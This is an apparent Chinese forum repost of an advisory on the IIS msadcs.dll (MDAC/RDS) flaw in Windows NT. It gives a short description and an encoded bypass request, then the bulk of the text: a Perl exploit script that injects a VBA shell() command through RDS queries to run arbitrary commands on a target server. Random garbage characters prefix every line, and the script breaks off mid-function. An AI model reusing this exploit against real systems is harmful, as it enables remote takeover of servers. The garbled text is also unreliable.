IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
SS.dY""89 /FEVmH?
涉及程序:
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Microsoft NT server
(0y~%J $(>+VH`l 描述:
RF0HjgP 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
d <JM36j? [Nbm|["q~ 详细:
8X)Y^uGGZ 如果你没有时间读详细内容的话,就删除:
\7'{g@C( c:\Program Files\Common Files\System\Msadc\msadcs.dll
?"g2v-jTK 有关的安全问题就没有了。
JbQ) sp 6 3,H{ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
=^ 50FI| <1\Nb{5 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
.gOL1`b* 关于利用ODBC远程漏洞的描述,请参看:
hv_XP,1K OMg<V http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +@iA;2& ]^K4i)\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
>%8KK|V{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp )+t0:GwP`: H-f X(9 这里不再论述。
3]3| v9O~@v{= 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Q%mB|i|
':m,)G5& /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ly3\e_z:G 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
HcSXsF Y,t={HiclX ,0HRAmG
#将下面这段保存为txt文件,然后: "perl -x 文件名"
F,)%?<!I j*TYoH1 #!perl
__GqQUQ #
VUR |OV% # MSADC/RDS 'usage' (aka exploit) script
R2]Z kg #
k%QpegN # by rain.forest.puppy
l u%}h7ng #
9kS^Abtk # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&t:Gx<] # beta test and find errors!
FNY8tv*/x b9<#K+L- use Socket; use Getopt::Std;
t$#jL5 getopts("e:vd:h:XR", \%args);
vJOw]cwq XtSkh] #z! print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
uurh??R !6>~?gNd if (!defined $args{h} && !defined $args{R}) {
bsA-2*Q+ print qq~
DG ;_Vg Usage: msadc.pl -h <host> { -d <delay> -X -v }
/F'sb[ -h <host> = host you want to scan (ip or domain)
4s{~r -d <seconds> = delay between calls, default 1 second
(uZ&V7l -X = dump Index Server path table, if available
wLJ:\_Jaf -v = verbose
"J8vjr1/ -e = external dictionary file for step 5
0Bi.6r e 5*hE Or a -R will resume a command session
rJbf_]^ =\wxsL ~; exit;}
>!bJslWA FOy|F-j $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8=uu8-l8g if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
x$Oq0d{T if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n!xt5=xP{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/Uy"M:|V1 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
9}F*P669f if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
e:n<EnT T@&K-UQ if (!defined $args{R}){ $ret = &has_msadc;
Rww{:R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
w\i\Wp,FP (w/T-* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Xe:jAkDp . "cmd /c ";
Df<xWd2 $in=<STDIN>; chomp $in;
(I{rLS!o,L $command="cmd /c " . $in ;
ZE=Sp=@)j K<qk.~
S if (defined $args{R}) {&load; exit;}
+:!7L=N# 27O|).yKX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
@H7d_S &try_btcustmr;
F{~{Lthc ,UGRrS print "\nStep 2: Trying to make our own DSN...";
%r}{hq4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bITPQ7+ KZ
;k)O.Ov print "\nStep 3: Trying known DSNs...";
,J^b0@S &known_dsn;
"h a L dj7hx"BI print "\nStep 4: Trying known .mdbs...";
6GSI"M6s &known_mdb;
LzXmb 7A ,\ if (defined $args{e}){
h!.^?NF print "\nStep 5: Trying dictionary of DSN names...";
p#?7w &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?Unb?
{,&2 *|C^=*j9 print "Sorry Charley...maybe next time?\n";
!1DKLQ exit;
b TM{l.Aq3 %GA"GYL9' ##############################################################################
evAMJ= -Rd/Gx sub sendraw { # ripped and modded from whisker
#_J@-f7^ sleep($delay); # it's a DoS on the server! At least on mine...
pg.ri64H< my ($pstr)=@_;
UT=tT)4b socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F{Jw^\ die("Socket problems\n");
NOiN^::m if(connect(S,pack "SnA4x8",2,80,$target)){
,p2s:&" select(S); $|=1;
KgiJUO`PR print $pstr; my @in=<S>;
Yu[ t\/ select(STDOUT); close(S);
f~y%%+{p
return @in;
>x+6{^}Q > } else { die("Can't connect...\n"); }}
Dhw(#{N =`:K{loxq ##############################################################################
r1.nTO% .
Z.)t sub make_header { # make the HTTP request
PQnF my $msadc=<<EOT
!^=*Jq> POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,dov<U[ia User-Agent: ACTIVEDATA
V4P;
5[ Host: $ip
NI#:|}CYS Content-Length: $clen
Hl/
QnI! Connection: Keep-Alive
Hh-+/sO~" %?uc><&?e ADCClientVersion:01.06
;WM"cJo9 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
$Ifmc`r1 - UdEeZz. --!ADM!ROX!YOUR!WORLD!
`U)hjQ~pP Content-Type: application/x-varg
"B4;,+4kR Content-Length: $reqlen
2`>T oWN! 9{}1r2xW EOT
wEE\+3b) ; $msadc=~s/\n/\r\n/g;
*:t|qgJI#+ return $msadc;}
%Nhx;{ 3'qJ/*]9 ##############################################################################
-/cZeQDPb ##;Er47@^ sub make_req { # make the RDS request
65p?Igb my ($switch, $p1, $p2)=@_;
#H{<gjs] my $req=""; my $t1, $t2, $query, $dsn;
(
Qcp{q ~ !
3I2 if ($switch==1){ # this is the btcustmr.mdb query
"
'6;/N $query="Select * from Customers where City=" . make_shell();
6morum $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
n\5RAIg $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2?,EzBeal "D'B3; uWK elsif ($switch==2){ # this is general make table query
I8/DR z$A $query="create table AZZ (B int, C varchar(10))";
n;U`m$vL% $dsn="$p1";}
Tekfw h0-hT elsif ($switch==3){ # this is general exploit table query
/D^"X
4!" $query="select * from AZZ where C=" . make_shell();
:GW&O /Yo $dsn="$p1";}
1_
C]*p %1O[i4s:- elsif ($switch==4){ # attempt to hork file info from index server
H5]^
6
HwX $query="select path from scope()";
2eC(Ijq[a $dsn="Provider=MSIDXS;";}
!V\Q<So< T
G{k0cdOT elsif ($switch==5){ # bad query
t{FlB!jv $query="select";
;._7jFj. $dsn="$p1";}
8&~~j7p, k^%B5 $t1= make_unicode($query);
)m{Ye0!RD $t2= make_unicode($dsn);
AUNQA $req = "\x02\x00\x03\x00";
$m+sNEAa $req.= "\x08\x00" . pack ("S1", length($t1));
UIAj] $req.= "\x00\x00" . $t1 ;
x-<)\L& $req.= "\x08\x00" . pack ("S1", length($t2));
gV`=jAE_ $req.= "\x00\x00" . $t2 ;
[],1lRYI9_ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
13%t"-@bh return $req;}
^;maotHn J.dLPKU;- ##############################################################################
t|!j2<e z=_Ef3`M sub make_shell { # this makes the shell() statement
\,&co return "'|shell(\"$command\")|'";}
OhmQ, 199]W Hc ##############################################################################
'GoZqiYT Da:unVbU sub make_unicode { # quick little function to convert to unicode
Ck@J,~x1D my ($in)=@_; my $out;
mp?78_I) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
3=$q return $out;}
>sjhA|gXk M=*bh5t%] ##############################################################################
VY"9?2?/ Ra/Ukv_ v sub rdo_success { # checks for RDO return success (this is kludge)
RJH, my (@in) = @_; my $base=content_start(@in);
.8uz 6~ if($in[$base]=~/multipart\/mixed/){
bY2 C]r(n return 1 if( $in[$base+10]=~/^\x09\x00/ );}
xD /9F18 return 0;}
?N=m<fn Cb@3M"1: ##############################################################################
1q3(
@D5~+ R:AA,^Z sub make_dsn { # this makes a DSN for us
1>Dl\czn my @drives=("c","d","e","f");
5"]~oPK print "\nMaking DSN: ";
nG,U>) foreach $drive (@drives) {
EVUq--)~ print "$drive: ";
3ZZV<SS my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
i Q6epg1wB "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
lz0TK)kuC . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
TO*BH^5R $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^o@,3__7Q return 0 if $2 eq "404"; # not found/doesn't exist
Y<b-9ai<w if($2 eq "200") {
l?DJJ|> O foreach $line (@results) {
|R@~-Ht return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
1s*.A6EP" } return 0;}
je4 w=]JV tpEI(9> ##############################################################################
5P+t^\ :@xm-.D sub verify_exists {
IU]^&e9u my ($page)=@_;
<uk1?Qg my @results=sendraw("GET $page HTTP/1.0\n\n");
ai^4'{#zi return $results[0];}
lJs< /?6|& ##############################################################################
J5[~LZKW r-IVb&uFb sub try_btcustmr {
deeU@x`f< my @drives=("c","d","e","f");
nL}5cPI my @dirs=("winnt","winnt35","winnt351","win","windows");
<0.$'M~E C*te^3k>B foreach $dir (@dirs) {
`L5~mb;7* print "$dir -> "; # fun status so you can see progress
h~,JdDV8l* foreach $drive (@drives) {
qr50E[ print "$drive: "; # ditto
X$b={]b $reqlen=length( make_req(1,$drive,$dir) ) - 28;
OR Wm
C! $reqlenlen=length( "$reqlen" );
&G >(9 $clen= 206 + $reqlenlen + $reqlen;
[;oCYb$9 ,chf~-d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
dj&}Gedy if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
ZC4*{ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
iH2n.M
" m&0"<V!H/B ##############################################################################
"SoHt]%# 5ZPzPUa8~ sub odbc_error {
Q2%QLM:., my (@in)=@_; my $base;
O:/yAc` my $base = content_start(@in);
0l#)fJo if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
RF!1oZ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:9Y$'+ <&H $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%_aMl $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w$5A|%Y+V} return $in[$base+4].$in[$base+5].$in[$base+6];}
&&<9p;E print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
o:dR5v print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
i=32KI(% $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V'2EPYB +1Ph<zq" ##############################################################################
Lx U={Y0 5[9bWB{ sub verbose {
X#UMIlU my ($in)=@_;
wj|x:YZ* return if !$verbose;
>7U>Yh print STDOUT "\n$in\n";}
j#6|V]l iG,t_?? ##############################################################################
-
?!:{UXl $O:w(U sub save {
68'>Zbelb my ($p1, $p2, $p3, $p4)=@_;
7C?.L70ZY open(OUT, ">rds.save") || print "Problem saving parameters...\n";
3%<C<( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
MuEy>dl close OUT;}
L1)@z8] tue/4Q#7 ##############################################################################
=vh8T\ =FBpo2^QB; sub load {
Er:?M_ev my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2vKx]w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
>1irSUj"~ @p=<IN>; close(IN);
A~{f/%8D $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
y9;#1:ic $target= inet_aton($ip) || die("inet_aton problems");
qJT0Y/l:( print "Resuming to $ip ...";
]&i+!$N_ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
7TX,T|>9 if($p[1]==1) {
VLg
EX4 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
*Wb=WM-. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)yb+M ez my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
SHqyvF if (rdo_success(@results)){print "Success!\n";}
6=PiVwI else { print "failed\n"; verbose(odbc_error(@results));}}
4DO/rtkVq elsif ($p[1]==3){
VAYb=4lt if(run_query("$p[3]")){
.Nx
W=79t print "Success!\n";} else { print "failed\n"; }}
g.#+z'l elsif ($p[1]==4){
lg:y|@Y'' if(run_query($drvst . "$p[3]")){
22KI]$D#f print "Success!\n"; } else { print "failed\n"; }}
jV7&Y.$zF] exit;}
>n7["7HHk z]$j7 dp ##############################################################################
vh>{_
# DcV<y-`'1 sub create_table {
fjDpwb:x) my ($in)=@_;
oBlzHBn>0 $reqlen=length( make_req(2,$in,"") ) - 28;
K{}4zuZ $reqlenlen=length( "$reqlen" );
L]2<&%N2 $clen= 206 + $reqlenlen + $reqlen;
R+$8w2# my @results=sendraw(make_header() . make_req(2,$in,""));
GG'Sp53GE return 1 if rdo_success(@results);
7-9;PkGG.A my $temp= odbc_error(@results); verbose($temp);
=!-5+I#e return 1 if $temp=~/Table 'AZZ' already exists/;
~ |,e_
zA return 0;}
,R-Y~+! t&814Uf&\ ##############################################################################
`:-J+<` n*qN29sx sub known_dsn {
abY0)t # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
cvAtw Q' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
}w!ps{* "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
":d*dl "banner", "banners", "ads", "ADCDemo", "ADCTest");
jgvh[@uB? n2;9geq+ foreach $dSn (@dsns) {
6;uBZ&g print ".";
5FuK \y next if (!is_access("DSN=$dSn"));
?'~;Q) if(create_table("DSN=$dSn")){
1]/N2& print "$dSn successful\n";
,p,Du
F if(run_query("DSN=$dSn")){
U=o Z.\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a0zG(7.D print "Something's borked. Use verbose next time\n";}}} print "\n";}
NR/-m7#- | Odu4 Q ##############################################################################
.Y/-8H-3v m(3);)d sub is_access {
4IGxI7~27# my ($in)=@_;
T=?
bdIl $reqlen=length( make_req(5,$in,"") ) - 28;
.{N\<